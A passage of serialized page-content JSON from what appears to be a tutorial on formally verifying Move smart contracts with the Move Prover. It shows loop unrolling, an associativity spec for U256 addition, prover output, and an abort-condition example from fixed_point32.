ildren":10274},{"style":750},[10275],{"type":29,"value":2404},{"type":23,"tag":141,"props":10277,"children":10278},{"style":160},[10279],{"type":29,"value":114},{"type":23,"tag":141,"props":10281,"children":10282},{"style":750},[10283],{"type":29,"value":7097},{"type":23,"tag":141,"props":10285,"children":10286},{"style":154},[10287],{"type":29,"value":2399},{"type":23,"tag":141,"props":10289,"children":10290},{"style":750},[10291],{"type":29,"value":7332},{"type":23,"tag":141,"props":10293,"children":10294},{"style":154},[10295],{"type":29,"value":7337},{"type":23,"tag":141,"props":10297,"children":10298},{"style":160},[10299],{"type":29,"value":7251},{"type":23,"tag":141,"props":10301,"children":10302},{"style":750},[10303],{"type":29,"value":7346},{"type":23,"tag":141,"props":10305,"children":10306},{"style":154},[10307],{"type":29,"value":2399},{"type":23,"tag":141,"props":10309,"children":10310},{"style":750},[10311],{"type":29,"value":7332},{"type":23,"tag":141,"props":10313,"children":10314},{"style":154},[10315],{"type":29,"value":7337},{"type":23,"tag":141,"props":10317,"children":10318},{"style":160},[10319],{"type":29,"value":197},{"type":23,"tag":141,"props":10321,"children":10322},{"style":750},[10323],{"type":29,"value":7162},{"type":23,"tag":141,"props":10325,"children":10326},{"style":154},[10327],{"type":29,"value":1684},{"type":23,"tag":141,"props":10329,"children":10330},{"class":143,"line":241},[10331],{"type":23,"tag":141,"props":10332,"children":10333},{"style":154},[10334],{"type":29,"value":7597},{"type":23,"tag":141,"props":10336,"children":10337},{"class":143,"line":262},[10338,10342,10346,10350,10354],{"type":23,"tag":141,"props":10339,"children":10340},{"style":154},[10341],{"type":29,"value":9932},{"type":23,"tag":141,"props":10343,"children":10344},{"style":750},[10345],{"type":29,"value":2404},{"type":23,"tag":141,"props":10347,"children":10348},{"style":160},[10349],{"type":29,"value":7395},{"type":23,"tag":141,"props":10351,"children":10352},{"style":750},[10353],{"type":29,"value":7162},{"type":23,"tag":141,"props":10355,"children":10356},{"style":154},[10357],{"type":29,"value":758},{"type":23,"tag":141,"props":10359,"children":10360},{"class":143,"line":271},[10361],{"type":23,"tag":141,"props":10362,"children":10363},{"style":154},[10364],{"type":29,"value":9956},{"type":23,"tag":32,"props":10366,"children":10367},{},[10368],{"type":29,"value":10369},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":23,"tag":32,"props":10371,"children":10372},{},[10373,10375,10380],{"type":29,"value":10374},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":23,"tag":38,"props":10376,"children":10378},{"className":10377},[],[10379],{"type":29,"value":8317},{"type":29,"value":10381}," function will always iterate exactly 4 times:",{"type":23,"tag":131,"props":10383,"children":10385},{"code":10384,"language":1638,"meta":7,"className":1639,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n let a1 = get(&a, i);\n let b1 = get(&b, i);\n\n[...]\n",[10386],{"type":23,"tag":38,"props":10387,"children":10388},{"__ignoreMap":7},[10389,10397,10430,10437,10453,10460,10484,10508,10553,10597,10604],{"type":23,"tag":141,"props":10390,"children":10391},{"class":143,"line":144},[10392],{"type":23,"tag":141,"props":10393,"children":10394},{"style":443},[10395],{"type":29,"value":10396},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":23,"tag":141,"props":10398,"children":10399},{"class":143,"line":180},[10400,10404,10409,10413,10417,10421,10426],{"type":23,"tag":141,"props":10401,"children":10402},{"style":449},[10403],{"type":29,"value":8334},{"type":23,"tag":141,"props":10405,"children":10406},{"style":154},[10407],{"type":29,"value":10408}," WORDS",{"type":23,"tag":141,"props":10410,"children":10411},{"style":160},[10412],{"type":29,"value":114},{"type":23,"tag":141,"props":10414,"children":10415},{"style":725},[10416],{"type":29,"value":4534},{"type":23,"tag":141,"props":10418,"children":10419},{"style":160},[10420],{"type":29,"value":1674},{"type":23,"tag":141,"props":10422,"children":10423},{"style":472},[10424],{"type":29,"value":10425}," 4",{"type":23,"tag":141,"props":10427,"children":10428},{"style":154},[10429],{"type":29,"value":1684},{"type":23,"tag":141,"props":10431,"children":10432},{"class":143,"line":205},[10433],{"type":23,"tag":141,"props":10434,"children":10435},{"emptyLinePlaceholder":15},[10436],{"type":29,"value":719},{"type":23,"tag":141,"props":10438,"children":10439},{"class":143,"line":218},[10440,10444,10448],{"type":23,"tag":141,"props":10441,"children":10442},{"style":154},[10443],{"type":29,"value":2399},{"type":23,"tag":141,"props":10445,"children":10446},{"style":160},[10447],{"type":29,"value":8269},{"type":23,"tag":141,"props":10449,"children":10450},{"style":154},[10451],{"type":29,"value":10452},"]\n",{"type":23,"tag":141,"props":10454,"children":10455},{"class":143,"line":227},[10456],{"type":23,"tag":141,"props":10457,"children":10458},{"emptyLinePlaceholder":15},[10459],{"type":29,"value":719},{"type":23,"tag":141,"props":10461,"children":10462},{"class":143,"line":241},[10463,10468,10472,10476,10480],{"type":23,"tag":141,"props":10464,"children":10465},{"style":449},[10466],{"type":29,"value":10467},"let",{"type":23,"tag":141,"props":10469,"children":10470},{"style":750},[10471],{"type":29,"value":2058},{"type":23,"tag":141,"props":10473,"children":10474},{"style":160},[10475],{"type":29,"value":1674},{"type":23,"tag":141,"props":10477,"children":10478},{"style":472},[10479],{"type":29,"value":1707},{"type":23,"tag":141,"props":10481,"children":10482},{"style":154},[10483],{"type":29,"value":1684},{"type":23,"tag":141,"props":10485,"children":10486},{"class":143,"line":262},[10487,10491,10495,10499,10503],{"type":23,"tag":141,"props":10488,"children":10489},{"style":148},[10490],{"type":29,"value":10141},{"type":23,"tag":141,"props":10492,"children":10493},{"style":154},[10494],{"type":29,"value":1220},{"type":23,"tag":141,"props":10496,"children":10497},{"style":750},[10498],{"type":29,"value":2404},{"type":23,"tag":141,"props":10500,"children":10501},{"style":160},[10502],{"type":29,"value":7395},{"type":23,"tag":141,"props":10504,"children":10505},{"style":154},[10506],{"type":29,"value":10507}," WORDS) {\n",{"type":23,"tag":141,"props":10509,"children":10510},{"class":143,"line":271},[10511,10515,10520,10524,10529,10533,10537,10541,10545,10549],{"type":23,"tag":141,"props":10512,"children":10513},{"style":449},[10514],{"type":29,"value":1659},{"type":23,"tag":141,"props":10516,"children":10517},{"style":750},[10518],{"type":29,"value":10519}," a1",{"type":23,"tag":141,"props":10521,"children":10522},{"style":160},[10523],{"type":29,"value":1674},{"type":23,"tag":141,"props":10525,"children":10526},{"style":184},[10527],{"type":29,"value":10528}," get",{"type":23,"tag":141,"props":10530,"children":10531},{"style":154},[10532],{"type":29,"value":192},{"type":23,"tag":141,"props":10534,"children":10535},{"style":160},[10536],{"type":29,"value":1770},{"type":23,"tag":141,"props":10538,"children":10539},{"style":750},[10540],{"type":29,"value":55},{"type":23,"tag":141,"props":10542,"children":10543},{"style":154},[10544],{"type":29,"value":480},{"type":23,"tag":141,"props":10546,"children":10547},{"style":750},[10548],{"type":29,"value":2404},{"type":23,"tag":141,"props":10550,"children":10551},{"style":154},[10552],{"type":29,"value":2496},{"type":23,"tag":141,"props":10554,"children":10555},{"class":143,"line":293},[10556,10560,10565,10569,10573,10577,10581,10585,10589,10593],{"type":23,"tag":141,"props":10557,"children":10558},{"style":449},[10559],{"type":29,"value":1659},{"type":23,"tag":141,"props":10561,"children":10562},{"style":750},[10563],{"type":29,"value":10564}," b1",{"type":23,"tag":141,"props":10566,"children":10567},{"style":160},[10568],{"type":29,"value":1674},{"type":23,"tag":141,"props":10570,"children":10571},{"style":184},[10572],{"type":29,"value":10528},{"type":23,"tag":141,"props":10574,"children":10575},{"style":154},[10576],{"type":29,"value":192},{"type":23,"tag":141,"props":10578,"children":10579},{"style":160},[10580],{"type":29,"value":1770},{"type":23,"tag":141,"props":10582,"children":10583},{"style":750},[10584],{"type":29,"value":1883},{"type":23,"tag":141,"props":10586,"children":10587},{"style":154},[10588],{"type":29,"value":480},{"type":23,"tag":141,"props":10590,"children":10591},{"style":750},[10592],{"type":29,"value":2404},{"type":23,"tag":141,"props":10594,"children":10595},{"style":154},[10596],{"type":29,"value":2496},{"type":23,"tag":141,"props":10598,"children":10599},{"class":143,"line":801},[10600],{"type":23,"tag":141,"props":10601,"children":10602},{"emptyLinePlaceholder":15},[10603],{"type":29,"value":719},{"type":23,"tag":141,"props":10605,"children":10606},{"class":143,"line":810},[10607,10611,10615],{"type":23,"tag":141,"props":10608,"children":10609},{"style":154},[10610],{"type":29,"value":2399},{"type":23,"tag":141,"props":10612,"children":10613},{"style":160},[10614],{"type":29,"value":8269},{"type":23,"tag":141,"props":10616,"children":10617},{"style":154},[10618],{"type":29,"value":10452},{"type":23,"tag":32,"props":10620,"children":10621},{},[10622],{"type":29,"value":10623},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":23,"tag":131,"props":10625,"children":10627},{"code":10626},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n \"Result\": \"Success\"\n}\n",[10628],{"type":23,"tag":38,"props":10629,"children":10630},{"__ignoreMap":7},[10631],{"type":29,"value":10626},{"type":23,"tag":32,"props":10633,"children":10634},{},[10635,10637,10642,10643,10649],{"type":29,"value":10636},"For the ",{"type":23,"tag":3998,"props":10638,"children":10639},{},[10640],{"type":29,"value":10641},"Associative Property",{"type":29,"value":1220},{"type":23,"tag":38,"props":10644,"children":10646},{"className":10645},[],[10647],{"type":29,"value":10648},"a+(b+c) = (a+b)+c",{"type":29,"value":10650},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":23,"tag":131,"props":10652,"children":10654},{"code":10653,"language":1638,"meta":7,"className":1639,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n let result_1 = add(b, c);\n let result_11 = add(a, result_1);\n let result_2 = add(a, b);\n let result_22 = add(c, result_2);\n\n let cmp = compare(&result_11, &result_22);\n if ( cmp == EQUAL ) true else false\n}\n",[10655],{"type":23,"tag":38,"props":10656,"children":10657},{"__ignoreMap":7},[10658,10735,10774,10815,10854,10895,10902,10952,10991],{"type":23,"tag":141,"props":10659,"children":10660},{"class":143,"line":144},[10661,10665,10670,10674,10678,10682,10686,10690,10694,10698,10702,10706,10710,10714,10718,10722,10726,10731],{"type":23,"tag":141,"props":10662,"children":10663},{"style":750},[10664],{"type":29,"value":5781},{"type":23,"tag":141,"props":10666,"children":10667},{"style":184},[10668],{"type":29,"value":10669}," add_assoc_property",{"type":23,"tag":141,"props":10671,"children":10672},{"style":154},[10673],{"type":29,"value":192},{"type":23,"tag":141,"props":10675,"children":10676},{"style":750},[10677],{"type":29,"value":55},{"type":23,"tag":141,"props":10679,"children":10680},{"style":160},[10681],{"type":29,"value":114},{"type":23,"tag":141,"props":10683,"children":10684},{"style":725},[10685],{"type":29,"value":3405},{"type":23,"tag":141,"props":10687,"children":10688},{"style":154},[10689],{"type":29,"value":480},{"type":23,"tag":141,"props":10691,"children":10692},{"style":750},[10693],{"type":29,"value":1883},{"type":23,"tag":141,"props":10695,"children":10696},{"style":160},[10697],{"type":29,"value":114},{"type":23,"tag":141,"props":10699,"children":10700},{"style":725},[10701],{"type":29,"value":3405},{"type":23,"tag":141,"props":10703,"children":10704},{"style":154},[10705],{"type":29,"value":480},{"type":23,"tag":141,"props":10707,"children":10708},{"style":750},[10709],{"type":29,"value":1807},{"type":23,"tag":141,"props":10711,"children":10712},{"style":160},[10713],{"type":29,"value":114},{"type":23,"tag":141,"props":10715,"children":10716},{"style":725},[10717],{"type":29,"value":3405},{"type":23,"tag":141,"props":10719,"children":10720},{"style":154},[10721],{"type":29,"value":1788},{"type":23,"tag":141,"props":10723,"children":10724},{"style":160},[10725],{"type":29,"value":114},{"type":23,"tag":141,"props":10727,"children":10728},{"style":725},[10729],{"type":29,"value":10730}," bool",{"type":23,"tag":141,"props":10732,"children":10733},{"style":154},[10734],{"type":29,"value":1951},{"type":23,"tag":141,"props":10736,"children":10737},{"class":143,"line":180},[10738,10742,10746,10750,10754,10758,10762,10766,10770],{"type":23,"tag":141,"props":10739,"children":10740},{"style":449},[10741],{"type":29,"value":1659},{"type":23,"tag":141,"props":10743,"children":10744},{"style":750},[10745],{"type":29,"value":6867},{"type":23,"tag":141,"props":10747,"children":10748},{"style":160},[10749],{"type":29,"value":1674},{"type":23,"tag":141,"props":10751,"children":10752},{"style":184},[10753],{"type":29,"value":8259},{"type":23,"tag":141,"props":10755,"children":10756},{"style":154},[10757],{"type":29,"value":192},{"type":23,"tag":141,"props":10759,"children":10760},{"style":750},[10761],{"type":29,"value":1883},{"type":23,"tag":141,"props":10763,"children":10764},{"style":154},[10765],{"type":29,"value":480},{"type":23,"tag":141,"props":10767,"children":10768},{"style":750},[10769],{"type":29,"value":1807},{"type":23,"tag":141,"props":10771,"children":10772},{"style":154},[10773],{"type":29,"value":2496},{"type":23,"tag":141,"props":10775,"children":10776},{"class":143,"line":205},[10777,10781,10786,10790,10794,10798,10802,10806,10811],{"type":23,"tag":141,"props":10778,"children":10779},{"style":449},[10780],{"type":29,"value":1659},{"type":23,"tag":141,"props":10782,"children":10783},{"style":750},[10784],{"type":29,"value":10785}," result_11",{"type":23,"tag":141,"props":10787,"children":10788},{"style":160},[10789],{"type":29,"value":1674},{"type":23,"tag":141,"props":10791,"children":10792},{"style":184},[10793],{"type":29,"value":8259},{"type":23,"tag":141,"props":10795,"children":10796},{"style":154},[10797],{"type":29,"value":192},{"type":23,"tag":141,"props":10799,"children":10800},{"style":750},[10801],{"type":29,"value":55},{"type":23,"tag":141,"props":10803,"children":10804},{"style":154},[10805],{"type":29,"value":480},{"type":23,"tag":141,"props":10807,"children":10808},{"style":750},[10809],{"type":29,"value":10810},"result_1",{"type":23,"tag":141,"props":10812,"children":10813},{"style":154},[10814],{"type":29,"value":2496},{"type":23,"tag":141,"props":10816,"children":10817},{"class":143,"line":218},[10818,10822,10826,10830,10834,10838,10842,10846,10850],{"type":23,"tag":141,"props":10819,"children":10820},{"style":449},[10821],{"type":29,"value":1659},{"type":23,"tag":141,"props":10823,"children":10824},{"style":750},[10825],{"type":29,"value":6893},{"type":23,"tag":141,"props":10827,"children":10828},{"style":160},[10829],{"type":29,"value":1674},{"type":23,"tag":141,"props":10831,"children":10832},{"style":184},[10833],{"type":29,"value":8259},{"type":23,"tag":141,"props":10835,"children":10836},{"style":154},[10837],{"type":29,"value":192},{"type":23,"tag":141,"props":10839,"children":10840},{"style":750},[10841],{"type":29,"value":55},{"type":23,"tag":141,"props":10843,"children":10844},{"style":154},[10845],{"type":29,"value":480},{"type":23,"tag":141,"props":10847,"children":10848},{"style":750},[10849],{"type":29,"value":1883},{"type":23,"tag":141,"props":10851,"children":10852},{"style":154},[10853],{"type":29,"value":2496},{"type":23,"tag":141,"props":10855,"children":10856},{"class":143,"line":227},[10857,10861,10866,10870,10874,10878,10882,10886,10891],{"type":23,"tag":141,"props":10858,"children":10859},{"style":449},[10860],{"type":29,"value":1659},{"type":23,"tag":141,"props":10862,"children":10863},{"style":750},[10864],{"type":29,"value":10865}," result_22",{"type":23,"tag":141,"props":10867,"children":10868},{"style":160},[10869],{"type":29,"value":1674},{"type":23,"tag":141,"props":10871,"children":10872},{"style":184},[10873],{"type":29,"value":8259},{"type":23,"tag":141,"props":10875,"children":10876},{"style":154},[10877],{"type":29,"value":192},{"type":23,"tag":141,"props":10879,"children":10880},{"style":750},[10881],{"type":29,"value":1807},{"type":23,"tag":141,"props":10883,"children":10884},{"style":154},[10885],{"type":29,"value":480},{"type":23,"tag":141,"props":10887,"children":10888},{"style":750},[10889],{"type":29,"value":10890},"result_2",{"type":23,"tag":141,"props":10892,"children":10893},{"style":154},[10894],{"type":29,"value":2496},{"type":23,"tag":141,"props":10896,"children":10897},{"class":143,"line":241},[10898],{"type":23,"tag":141,"props":10899,"children":10900},{"emptyLinePlaceholder":15},[10901],{"type":29,"value":719},{"type":23,"tag":141,"props":10903,"children":10904},{"class":143,"line":262},[10905,10909,10913,10917,10922,10926,10930,10935,10939,10943,10948],{"type":23,"tag":141,"props":10906,"children":10907},{"style":449},[10908],{"type":29,"value":1659},{"type":23,"tag":141,"props":10910,"children":10911},{"style":750},[10912],{"type":29,"value":6535},{"type":23,"tag":141,"props":10914,"children":10915},{"style":160},[10916],{"type":29,"value":1674},{"type":23,"tag":141,"props":10918,"children":10919},{"style":184},[10920],{"type":29,"value":10921}," compare",{"type":23,"tag":141,"props":10923,"children":10924},{"style":154},[10925],{"type":29,"value":192},{"type":23,"tag":141,"props":10927,"children":10928},{"style":160},[10929],{"type":29,"value":1770},{"type":23,"tag":141,"props":10931,"children":10932},{"style":750},[10933],{"type":29,"value":10934},"result_11",{"type":23,"tag":141,"props":10936,"children":10937},{"style":154},[10938],{"type":29,"value":480},{"type":23,"tag":141,"props":10940,"children":10941},{"style":160},[10942],{"type":29,"value":1770},{"type":23,"tag":141,"props":10944,"children":10945},{"style":750},[10946],{"type":29,"value":10947},"result_22",{"type":23,"tag":141,"props":10949,"children":10950},{"style":154},[10951],{"type":29,"value":2496},{"type":23,"tag":141,"props":10953,"children":10954},{"class":143,"line":271},[10955,10959,10964,10968,10972,10977,10981,10986],{"type":23,"tag":141,"props":10956,"children":10957},{"style":148},[10958],{"type":29,"value":151},{"type":23,"tag":141,"props":10960,"children":10961},{"style":154},[10962],{"type":29,"value":10963}," ( ",{"type":23,"tag":141,"props":10965,"children":10966},{"style":750},[10967],{"type":29,"value":6600},{"type":23,"tag":141,"props":10969,"children":10970},{"style":160},[10971],{"type":29,"value":1942},{"type":23,"tag":141,"props":10973,"children":10974},{"style":154},[10975],{"type":29,"value":10976}," EQUAL ) ",{"type":23,"tag":141,"props":10978,"children":10979},{"style":449},[10980],{"type":29,"value":2670},{"type":23,"tag":141,"props":10982,"children":10983},{"style":148},[10984],{"type":29,"value":10985}," else",{"type":23,"tag":141,"props":10987,"children":10988},{"style":449},[10989],{"type":29,"value":10990}," false\n",{"type":23,"tag":141,"props":10992,"children":10993},{"class":143,"line":293},[10994],{"type":23,"tag":141,"props":10995,"children":10996},{"style":154},[10997],{"type":29,"value":2573},{"type":23,"tag":32,"props":10999,"children":11000},{},[11001],{"type":29,"value":11002},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":23,"tag":131,"props":11004,"children":11006},{"code":11005,"language":1638,"meta":7,"className":1639,"style":7},"spec add_assoc_property {\n aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n ensures result == true;\n}\n",[11007],{"type":23,"tag":38,"props":11008,"children":11009},{"__ignoreMap":7},[11010,11025,11129,11153],{"type":23,"tag":141,"props":11011,"children":11012},{"class":143,"line":144},[11013,11017,11021],{"type":23,"tag":141,"props":11014,"children":11015},{"style":750},[11016],{"type":29,"value":6950},{"type":23,"tag":141,"props":11018,"children":11019},{"style":750},[11020],{"type":29,"value":10669},{"type":23,"tag":141,"props":11022,"children":11023},{"style":154},[11024],{"type":29,"value":1951},{"type":23,"tag":141,"props":11026,"children":11027},{"class":143,"line":180},[11028,11032,11036,11041,11045,11049,11053,11057,11061,11065,11069,11073,11077,11081,11085,11089,11093,11097,11101,11105,11109,11113,11117,11121,11125],{"type":23,"tag":141,"props":11029,"children":11030},{"style":750},[11031],{"type":29,"value":8582},{"type":23,"tag":141,"props":11033,"children":11034},{"style":154},[11035],{"type":29,"value":1220},{"type":23,"tag":141,"props":11037,"children":11038},{"style":184},[11039],{"type":29,"value":11040},"value_of_U256",{"type":23,"tag":141,"props":11042,"children":11043},{"style":154},[11044],{"type":29,"value":192},{"type":23,"tag":141,"props":11046,"children":11047},{"style":750},[11048],{"type":29,"value":55},{"type":23,"tag":141,"props":11050,"children":11051},{"style":154},[11052],{"type":29,"value":1748},{"type":23,"tag":141,"props":11054,"children":11055},{"style":160},[11056],{"type":29,"value":3058},{"type":23,"tag":141,"props":11058,"children":11059},{"style":184},[11060],{"type":29,"value":8383},{"type":23,"tag":141,"props":11062,"children":11063},{"style":154},[11064],{"type":29,"value":192},{"type":23,"tag":141,"props":11066,"children":11067},{"style":750},[11068],{"type":29,"value":1883},{"type":23,"tag":141,"props":11070,"children":11071},{"style":154},[11072],{"type":29,"value":7513},{"type":23,"tag":141,"props":11074,"children":11075},{"style":160},[11076],{"type":29,"value":3058},{"type":23,"tag":141,"props":11078,"children":11079},{"style":184},[11080],{"type":29,"value":8383},{"type":23,"tag":141,"props":11082,"children":11083},{"style":154},[11084],{"type":29,"value":192},{"type":23,"tag":141,"props":11086,"children":11087},{"style":750},[11088],{"type":29,"value":1807},{"type":23,"tag":141,"props":11090,"children":11091},{"style":154},[11092],{"type":29,"value":1748},{"type":23,"tag":141,"props":11094,"children":11095},{"style":160},[11096],{"type":29,"value":8623},{"type":23,"tag":141,"props":11098,"children":11099},{"style":725},[11100],{"type":29,"value":8339},{"type":23,"tag":141,"props":11102,"children":11103},{"style":160},[11104],{"type":29,"value":8496},{"type":23,"tag":141,"props":11106,"children":11107},{"style":725},[11108],{"type":29,"value":8339},{"type":23,"tag":141,"props":11110,"children":11111},{"style":160},[11112],{"type":29,"value":8496},{"type":23,"tag":141,"props":11114,"children":11115},{"style":725},[11116],{"type":29,"value":8339},{"type":23,"tag":141,"props":11118,"children":11119},{"style":160},[11120],{"type":29,"value":8496},{"type":23,"tag":141,"props":11122,"children":11123},{"style":725},[11124],{"type":29,"value":8339},{"type":23,"tag":141,"props":11126,"children":11127},{"style":154},[11128],{"type":29,"value":1684},{"type":23,"tag":141,"props":11130,"children":11131},{"class":143,"line":205},[11132,11136,11140,11144,11149],{"type":23,"tag":141,"props":11133,"children":11134},{"style":750},[11135],{"type":29,"value":8880},{"type":23,"tag":141,"props":11137,"children":11138},{"style":750},[11139],{"type":29,"value":7838},{"type":23,"tag":141,"props":11141,"children":11142},{"style":160},[11143],{"type":29,"value":1942},{"type":23,"tag":141,"props":11145,"children":11146},{"style":449},[11147],{"type":29,"value":11148}," true",{"type":23,"tag":141,"props":11150,"children":11151},{"style":154},[11152],{"type":29,"value":1684},{"type":23,"tag":141,"props":11154,"children":11155},{"class":143,"line":218},[11156],{"type":23,"tag":141,"props":11157,"children":11158},{"style":154},[11159],{"type":29,"value":2573},{"type":23,"tag":32,"props":11161,"children":11162},{},[11163],{"type":29,"value":11164},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":23,"tag":131,"props":11166,"children":11167},{"code":10626},[11168],{"type":23,"tag":38,"props":11169,"children":11170},{"__ignoreMap":7},[11171],{"type":29,"value":10626},{"type":23,"tag":32,"props":11173,"children":11174},{},[11175,11177,11184],{"type":29,"value":11176},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":23,"tag":55,"props":11178,"children":11181},{"href":11179,"rel":11180},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[59],[11182],{"type":29,"value":11183},"spec-lang.md",{"type":29,"value":11185}," in the Move Repository.",{"type":23,"tag":24,"props":11187,"children":11189},{"id":11188},"use-cases",[11190],{"type":29,"value":11191},"Use Cases",{"type":23,"tag":32,"props":11193,"children":11194},{},[11195],{"type":29,"value":11196},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":23,"tag":32,"props":11198,"children":11199},{},[11200],{"type":29,"value":11201},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":23,"tag":8287,"props":11203,"children":11205},{"id":11204},"error-conditions",[11206],{"type":29,"value":11207},"Error Conditions",{"type":23,"tag":32,"props":11209,"children":11210},{},[11211,11213,11219],{"type":29,"value":11212},"Taking an example from ",{"type":23,"tag":38,"props":11214,"children":11216},{"className":11215},[],[11217],{"type":29,"value":11218},"std::fixed_point32",{"type":29,"value":11220},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":23,"tag":131,"props":11222,"children":11224},{"code":11223,"language":1638,"meta":7,"className":1639,"style":7}," spec schema MultiplyAbortsIf {\n val: num;\n multiplier: FixedPoint32;\n aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n }\n spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n (val * multiplier.value) >> 32\n }\n",[11225],{"type":23,"tag":38,"props":11226,"children":11227},{"__ignoreMap":7},[11228,11249,11269,11290,11336,11344,11407,11446],{"type":23,"tag":141,"props":11229,"children":11230},{"class":143,"line":144},[11231,11235,11240,11245],{"type":23,"tag":141,"props":11232,"children":11233},{"style":750},[11234],{"type":29,"value":7605},{"type":23,"tag":141,"props":11236,"children":11237},{"style":750},[11238],{"type":29,"value":11239}," schema",{"type":23,"tag":141,"props":11241,"children":11242},{"style":725},[11243],{"type":29,"value":11244}," MultiplyAbortsIf",{"type":23,"tag":141,"props":11246,"children":11247},{"style":154},[11248],{"type":29,"value":1951},{"type":23,"tag":141,"props":11250,"children":11251},{"class":143,"line":180},[11252,11257,11261,11265],{"type":23,"tag":141,"props":11253,"children":11254},{"style":750},[11255],{"type":29,"value":11256}," val",{"type":23,"tag":141,"props":11258,"children":11259},{"style":160},[11260],{"type":29,"value":114},{"type":23,"tag":141,"props":11262,"children":11263},{"style":750},[11264],{"type":29,"value":8412},{"type":23,"tag":141,"props":11266,"children":11267},{"style":154},[11268],{"type":29,"value":1684},{"type":23,"tag":141,"props":11270,"children":11271},{"class":143,"line":205},[11272,11277,11281,11286],{"type":23,"tag":141,"props":11273,"children":11274},{"style":750},[11275],{"type":29,"value":11276}," multiplier",{"type":23,"tag":141,"props":11278,"children":11279},{"style":160},[11280],{"type":29,"value":114},{"type":23,"tag":141,"props":11282,"children":11283},{"style":725},[11284],{"type":29,"value":11285}," FixedPoint32",{"type":23,"tag":141,"props":11287,"children":11288},{"style":154},[11289],{"type":29,"value":1684},{"type":23,"tag":141,"props":11291,"children":11292},{"class":143,"line":218},[11293,11298,11303,11307,11312,11316,11321,11326,11331],{"type":23,"tag":141,"props":11294,"children":11295},{"style":750},[11296],{"type":29,"value":11297}," aborts_if",{"type":23,"tag":141,"props":11299,"children":11300},{"style":184},[11301],{"type":29,"value":11302}," spec_multiply_u64",{"type":23,"tag":141,"props":11304,"children":11305},{"style":154},[11306],{"type":29,"value":192},{"type":23,"tag":141,"props":11308,"children":11309},{"style":750},[11310],{"type":29,"value":11311},"val",{"type":23,"tag":141,"props":11313,"children":11314},{"style":154},[11315],{"type":29,"value":480},{"type":23,"tag":141,"props":11317,"children":11318},{"style":750},[11319],{"type":29,"value":11320},"multiplier",{"type":23,"tag":141,"props":11322,"children":11323},{"style":154},[11324],{"type":29,"value":11325},") > MAX_U64 ",{"type":23,"tag":141,"props":11327,"children":11328},{"style":750},[11329],{"type":29,"value":11330},"with",{"type":23,"tag":141,"props":11332,"children":11333},{"style":154},[11334],{"type":29,"value":11335}," EMULTIPLICATION;\n",{"type":23,"tag":141,"props":11337,"children":11338},{"class":143,"line":227},[11339],{"type":23,"tag":141,"props":11340,"children":11341},{"style":154},[11342],{"type":29,"value":11343}," }\n",{"type":23,"tag":141,"props":11345,"children":11346},{"class":143,"line":241},[11347,11351,11355,11359,11363,11367,11371,11375,11379,11383,11387,11391,11395,11399,11403],{"type":23,"tag":141,"props":11348,"children":11349},{"style":750},[11350],{"type":29,"value":7605},{"type":23,"tag":141,"props":11352,"children":11353},{"style":750},[11354],{"type":29,"value":4881},{"type":23,"tag":141,"props":11356,"children":11357},{"style":184},[11358],{"type":29,"value":11302},{"type":23,"tag":141,"props":11360,"children":11361},{"style":154},[11362],{"type":29,"value":192},{"type":23,"tag":141,"props":11364,"children":11365},{"style":750},[11366],{"type":29,"value":11311},{"type":23,"tag":141,"props":11368,"children":11369},{"style":160},[11370],{"type":29,"value":114},{"type":23,"tag":141,"props":11372,"children":11373},{"style":750},[11374],{"type":29,"value":8412},{"type":23,"tag":141,"props":11376,"children":11377},{"style":154},[11378],{"type":29,"value":480},{"type":23,"tag":141,"props":11380,"children":11381},{"style":750},[11382],{"type":29,"value":11320},{"type":23,"tag":141,"props":11384,"children":11385},{"style":160},[11386],{"type":29,"value":114},{"type":23,"tag":141,"props":11388,"children":11389},{"style":725},[11390],{"type":29,"value":11285},{"type":23,"tag":141,"props":11392,"children":11393},{"style":154},[11394],{"type":29,"value":1788},{"type":23,"tag":141,"props":11396,"children":11397},{"style":160},[11398],{"type":29,"value":114},{"type":23,"tag":141,"props":11400,"children":11401},{"style":750},[11402],{"type":29,"value":8412},{"type":23,"tag":141,"props":11404,"children":11405},{"style":154},[11406],{"type":29,"value":1951},{"type":23,"tag":141,"props":11408,"children":11409},{"class":143,"line":262},[11410,11414,11418,11422,11427,11431,11436,11441],{"type":23,"tag":141,"props":11411,"children":11412},{"style":154},[11413],{"type":29,"value":7386},{"type":23,"tag":141,"props":11415,"children":11416},{"style":750},[11417],{"type":29,"value":11311},{"type":23,"tag":141,"props":11419,"children":11420},{"style":160},[11421],{"type":29,"value":8496},{"type":23,"tag":141,"props":11423,"children":11424},{"style":750},[11425],{"type":29,"value":11426}," multiplier",{"type":23,"tag":141,"props":11428,"children":11429},{"style":160},[11430],{"type":29,"value":322},{"type":23,"tag":141,"props":11432,"children":11433},{"style":154},[11434],{"type":29,"value":11435},"value) ",{"type":23,"tag":141,"props":11437,"children":11438},{"style":160},[11439],{"type":29,"value":11440},">>",{"type":23,"tag":141,"props":11442,"children":11443},{"style":472},[11444],{"type":29,"value":11445}," 32\n",{"type":23,"tag":141,"props":11447,"children":11448},{"class":143,"line":271},[11449],{"type":23,"tag":141,"props":11450,"children":11451},{"style":154},[11452],{"type":29,"value":11343},{"type":23,"tag":8287,"props":11454,"children":11456},{"id":11455},"access-control-policies",[11457],{"type":29,"value":11458},"Access Control 